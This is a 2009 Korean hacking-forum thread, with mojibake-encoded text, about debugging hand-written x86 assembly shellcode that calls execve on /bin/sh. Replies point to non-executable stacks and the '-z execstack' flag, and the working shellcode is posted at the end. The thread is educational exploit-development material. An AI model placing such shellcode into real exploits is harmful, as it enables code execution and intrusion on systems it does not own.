ÇÁ·Î±×·¡¹Ö

 3204, 13/161 ȸ¿ø°¡ÀÔ  ·Î±×ÀΠ 
   movestar
   ¼¿ÄÚµå ¸¸µé±â¿¡¼­...

http://www.hackerschool.org/HS_Boards/zboard.php?id=QNA_programming&no=2035 [º¹»ç]



http://hackerschool.org/~research/bbs/data/lecture_member/1070558265/sc_making.txt

¿©±â¿¡¼­.. ¾Æ·¡ ³»¿ëÁß¿¡

.globl main
main:
                jmp     come_here
                // Áö³­¹ø °­Á ¸¶Áö¸·¿¡¼­ ¹è¿ü´ø Å×Å©´Ð Àû¿ë.

func:
                movl    $0x0b, %eax
                // execveÀÇ ½Ã½ºÅÛ ÄÝ ¹øÈ£ 11À» %eax¿¡ ³ÖÀ½.

                popl    %ebx
                // "/bin/sh"ÀÇ ÁÖ¼Ò¸¦ %ebx¿¡ ³ÖÀ½. (ù° ÀÎÀÚ)

                movl    %ebx, (%esi)
                movl    $0x00, 0x4(%esi)
                // ¹è¿­ Æ÷ÀÎÅ͸¦ ±¸Çö. ["/bin/sh"ÀÇ ÁÖ¼Ò][0]

                leal    (%esi), %ecx
                // ¹è¿­ Æ÷ÀÎÅÍ ½ÃÀÛ ÁÖ¼Ò¸¦ %ecx¿¡ ³ÖÀ½. (µÑ° ÀÎÀÚ)

                movl    $0x00, %edx
                // NULLÀ» ³ÖÀ½. (¼Â° ÀÎÀÚ)

                int     $0x80
                // ½Ã½ºÅÛ ÄÝ È£Ãâ ÀÎÅÍ·´Æ® ¹ß»ý

                // ¿©±â¼­ ºÎÅÍ´Â exit(0)À» ±¸ÇöÇÑ °Í.
                movl    $0x01, %eax
                movl    $0x00, %ebx
                int     $0x80

come_here:
                calll func
                .string "/bin/sh\00"



mov    %ebx,(%esi) //¹è¿­ Æ÷ÀÎÅ͸¦ ±¸Çö

À̺κÐÀÌ

Program received signal SIGSEGV, Segmentation fault.
0x0804835c in func ()

ÀÌ·¸°Ô ¼¼±×¸ÕÆ® ¿À·ù°¡ ³³´Ï´Ù.

FTZ¿¡¼­´Â Àß µÇ´Âµ¥,,,

ÀÌ°Ô ¿øÀÎÀÌ Á¦°¡ Å×½ºÆ®ÇÏ´Â ¸®´ª½º¶û ¹öÀüÀÌ Æ²·Á¼­ ±×·±°Å °°¾Æ¿ä

Á¦ ¸®´ª½º¿¡¼­ ²À ½©Äڵ带 ¸¸µé¾î º¸°í½Í¾î¿ä

¹è¿­Æ÷ÀÎÅ͸¦ ±¸ÇöÇÏ´Â ´Ù¸¥ ¹æ¹ýÀ» ½á¾ßÇÒ °Í °°Àºµ¥ ¾î¶»°Ô ÇؾßÇÒ Áö¸¦ ¸ð¸£°Ú³×¿ä

µµ¿òÁ» ÁÖ¼¼¿ä Çü´Ôµé ±Á½Å±Á½Å


======================================================
[root@vmcentos ~]# uname -a
Linux vmcentos 2.6.18-128.1.10.el5 #1 SMP Thu May 7 10:39:21 EDT 2009 i686 i686 i386 GNU/Linux
[root@vmcentos ~]# gcc --version
gcc (GCC) 4.1.2 20080704 (Red Hat 4.1.2-44)
Copyright (C) 2006 Free Software Foundation, Inc.
This is free software; see the source for copying conditions.  There is NO
warranty; not even for MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.


------- C ¼Ò½º ------
int main()
{
        char *str[2];
        str[0]="/bin/sh";
        str[1]=0;
        execve(str[0], str, 0);
}


------- gcc -static À¸·Î ÄÄÆÄÀÏÇÑ °ÍÀ» µð½º¾î¼ÀÇÑ ³»¿ë ----------

(gdb) disas main
Dump of assembler code for function main:
0x08048228 <main+0>:    lea    0x4(%esp),%ecx
0x0804822c <main+4>:    and    $0xfffffff0,%esp
0x0804822f <main+7>:    pushl  -0x4(%ecx)
0x08048232 <main+10>:   push   %ebp
0x08048233 <main+11>:   mov    %esp,%ebp
0x08048235 <main+13>:   push   %ecx
0x08048236 <main+14>:   sub    $0x24,%esp
0x08048239 <main+17>:   movl   $0x80a134c,-0xc(%ebp)
0x08048240 <main+24>:   movl   $0x0,-0x8(%ebp)
0x08048247 <main+31>:   mov    -0xc(%ebp),%edx
0x0804824a <main+34>:   movl   $0x0,0x8(%esp)
0x08048252 <main+42>:   lea    -0xc(%ebp),%eax
0x08048255 <main+45>:   mov    %eax,0x4(%esp)
0x08048259 <main+49>:   mov    %edx,(%esp)
0x0804825c <main+52>:   call   0x804fed0 <execve>
0x08048261 <main+57>:   add    $0x24,%esp
0x08048264 <main+60>:   pop    %ecx
0x08048265 <main+61>:   pop    %ebp
0x08048266 <main+62>:   lea    -0x4(%ecx),%esp
0x08048269 <main+65>:   ret
End of assembler dump.


´õ ÇÊ¿äÇÑ Á¤º¸°¡ ÀÖ´Ù¸é Ãß°¡ÇÏ°Ú½À´Ï´Ù

  Hit : 2705     Date : 2009/05/21 04:52



    
movestar .globl main
main:
jmp come_here
func:
movl $0x0b, %eax
popl %ebx
add $0x4, %ebx
push %ebx
movl %esp, %ecx
movl $0x00, %edx
int $0x80
movl $0x01, %eax
movl $0x00, %ebx
int $0x80

come_here:
call func
.string " /bin/sh\00"


ÀÌ·¸°Ô Çؼ­ ecx ¿¡ /bin/sh ¸¦ °¡¸®Å°´Â Æ÷ÀÎÅ͸¦ ³Ö¾î¼­
eax, ebx, ecx, edx¿¡ ´Ù Á¦´ë·Î °ªÀ» ³ÖÀº°Í °°Àºµ¥
½ÇÇàÇصµ ½©ÀÌ ¾È¶ß³×¿ä.
2009/05/21  
ArtHacker7 eax = 0xb
edx = 0x0 (¼¼¹ø°ÀÎÀÚ)
ebx = ù¹ø°ÀÎÀÚ "/bin/sh"
ecx = µÎ¹ø°ÀÎÀÚ "/bin/sh"+0

±ÛÀ» ÀÚ¼¼È÷ ¾ÈÀоîºÁ¼± ¸ð¸£°ÚÁö¸¸ ½©ÄÚµå ½ÇÇàÇϴµ¥ int $0x80ÀÌ 2¹øÀ̳ª µé¾î°¥ ÇÊ¿æ ¾ø¾î¿ä.

ÀÎÀÚ 4°³¸¦ ³Ö¾îÁÖ´Â ÄÚµå¿Í ÀÎÅÍ·´Æ® È£ÃâÇÏ´Â ÄÚµå Çϳª¸¸ ÀÖÀ¸¸é ½©ÄÚµå´Â ½ÇÇàµË´Ï´Ù.
2009/05/21  
ArtHacker7 ebx ecx¿¡ µé¾î°¡´Â°Ç ´ç¿¬È÷ ½ÃÀÛÁÖ¼Ò¿¡¿ä... 2009/05/21  
sjh21a ½ºÅÿ¡ ½ÇÇà ±ÇÇÑÀÌ ¾ø´Â°Å °°³×¿ä
cat /proc/self/maps Çؼ­ stack ¿¡ x ÀÖ³ª üũ ÇϽðí
¾øÀ¸½Ã¸é ½©ÄÚµå Å×½ºÆ® ÇÏ½Ç ¶§gcc ¿É¼ÇÀ¸·Î
gcc -o a a.c -z execstack
ÁÖ½É µÇ¿ä
2009/05/22  
movestar ½ºÅà ±ÇÇÑÀÌ ¾ø´Â°ÍÀº ¸Â´Âµ¥, À߸𸣰ÚÁö¸¸ »ó°üÀÌ ¾ø´Â°Å °°¾Æ¿ä

¼Ò½º¸¦

.globl main
main:
jmp come_here
func:
movl $0x0b, %eax
popl %ebx
addl $0x04, %ebx
pushl %ebx
movl %esp, %ecx
movl $0x00, 0x4(%esp)
movl $0x00, %edx
int $0x80
movl $0x01, %eax
movl $0x00, %ebx
int $0x80

come_here:
call func
.string " /bin/sh\00"

ÀÌ·¸°Ô ¹Ù²Ù°í -z execstack ¿É¼Ç ÁذŶû ¾ÈÁذŶû ¸ðµÎ Á¤»óÀûÀ¸·Î /bin/sh °¡ ½ÇÇàµÇ³×¿ä

man execve ¿¡¼­
argv´Â »õ·Î¿î ÇÁ·Î±×·¥Àº Åë°úÇÏ´Â Àμö ¹®ÀÚ¿­ÀÇ ¹è¿­ÀÌ´Ù. envp´Â Áø ºÎ
ÇÏ °Ôµµ key=valueÇüÅÂÀÇ ¹®ÀÚ¿­ ¹è¿­ÀÌ´Ù. ±×°ÍÀº »õ·Î¿î ÇÁ·Î±×·¥À¸·Î ȯ
°æó·³ Àü´ÞµÈ´Ù. "argv¿Í envp´Â ¸ðµÎ nullÆ÷ÀÎÅÍ¿¡ ÀÇÇØ Á¾·áµÇ¾î¾ß¸¸ ÇÑ
´Ù."
¿©±â¼­ null Æ÷ÀÎÅÍ·Î Á¾·áµÇ¾î¾ß ÇÑ´Ù... ±×·¡¼­ c·ÎµÈ ÇÁ·Î±×·¥¿¡¼­ execve ½ÇÇàµÉ¶§ ecx¿¡ ÀúÀåµÈ ´ÙÀ½ 4byte ¸¦ º¸´Ï±î 0x00..
¾î¼À¼Ò½º¿¡µµ ecx ´ÙÀ½À» 0x00À¸·Î ÇÏ´Ï±î ½ÇÇàÀÌ µÇ³×¿ä

Àß ¾ÈµÇ¼­ ±×¸¸µÑ·Á°í Çߴµ¥ À­ºÐµéÀÌ °ü½É°¡Á®Áּż­
³¡±îÁö ÇÒ ¼ö ÀÖ¾ú½À´Ï´Ù. °¨»çÇÕ´Ï´Ù~
°­Áº¸°í ÇѰǵ¥ ³ª¸§ Èå¹µÇÏ³×¿ä ¤¾¤¾
2009/05/22  
2964   ¼øȯ »ý¿­ »ý¼º±â     tonoticing
11/19 2698
  ¼¿ÄÚµå ¸¸µé±â¿¡¼­...[5]     movestar
05/21 2704
2962   ¼¼»óÀÇ ¸ðµç ÇÁ·Î±×·¡¹Ö¾ð¾îÁ» ¾Ë·ÁÁÖ¼¼¿ä.[6]     ¸Û¸ÛÀÇÁ¦ÀÚ
10/11 3062
2961   ¼¼±×¸àÅ×ÀÌ¼Ç ¿À·ù[2]     gloriahky
01/26 2673
2960   ¼º°Ý¿¡ ¸Â´Â °Ô½ÃÆÇÀÌ ¾ø¾î¼­ ¿©±â ¿Ã·Á¿ä;;     eveangellion
02/04 2222
2959   ¼³¸íÁ»..[2]     tolta
02/24 3012
2958   ¼³Ä¡Á¦ÇÑ ¼Â¾÷ ÇÁ·Î±×·¥ ¸¸µå´Â ¹æ¹ý µµ¿ò ºÎŹµå·Á¿ä[2]     radio557
07/11 2603
2957   ¼­½ÄÁöÁ¤ %c¿Í %sÀÇ Ç¥½Ã[7]     k1475369
02/22 2691
2956   ¼­¹ö¿¡¼­ °×À» ½ÇÇàÇÏ·Á¸é??[1]     kybcis
05/28 2376
2955   ¼­¹ö[1]     smile_mut
06/27 2704
2954   ¼Ö¶ó¸®½º BSM¿¡¼­ »ý¼ºÇÏ´Â °¨»ç ·Î±×¸¦ ½Ç½Ã°£À¸·Î ȹµæÇÏ·Á´Â ÇÁ·Î±×·¥À» ÀÛ¼ºÇÏ·Á ÇÕ´Ï´Ù.[28]     ljs0766
02/23 3705
2953   ¼öÇп¡¼­ ½Ç¼ö¿Í c¾ð¾î¿¡¼­ ½Ç¼ö¿Í´Â ´Ù¸¥°Ç°¡¿ä?[5]     k1475369
09/24 2595
2952   ¼öÇнİú ¹®ÀÚ½ÄÀÇ Áú¹®~[1]     k1475369
02/22 2469
2951   ¼öÇаø½ÄÇÁ·Î±×·¡¹ÖÁú¹®ÀÌ¿ä[2]     tolta
06/07 3214
2950   ¼ÖÁ÷È÷ ¹°¾îº¼²²¿ä ¤Ð¤Ð.. ÀÌ°Ô ÀÌÇØ°¡ ¾ÈµÇ¿ä ¤Ð¤Ð.. ÁÖ¼®À̳ª ÀÌÇØ¿¡ µµ¿òÀ» Á» ÁֽǺР..¤Ð¤Ð[5]     kalsutain
09/12 3210
2949 ºñ¹Ð±ÛÀÔ´Ï´Ù  ¼öÁ¤¾î¶»°ÔÇÏÁÒ     rlaeorb
07/23 19
2948   ¼Ò½º¿Í °á°ú°¡ °°Àº ¼Ò½ºÄÚµå[1]     ewqqw
03/08 3404
2947   ¼Ò½º¸¦ Â¥´Â°Í¿¡´Â ´äÀÌ ¾ø´Â°Ç°¡¿ä?[3]     SeungAh
03/05 2723
2946   ¼Ò½º°øºÎ¸¦ ÇÏ°í ½ÍÀºµ¥...[13]     ºÒ¾ÈÇØ..
05/07 3695
2945   ¼Ò½ºÄÚµå µÎ°³ÀÇ Â÷ÀÌÁ¡Á»...[5]     Malcom
06/23 2601
[1]..[11][12] 13 [14][15][16][17][18][19][20]..[161]

Copyright 1999-2024 Zeroboard / skin by Hackerschool.org / Secure Patch by Hackerschool.org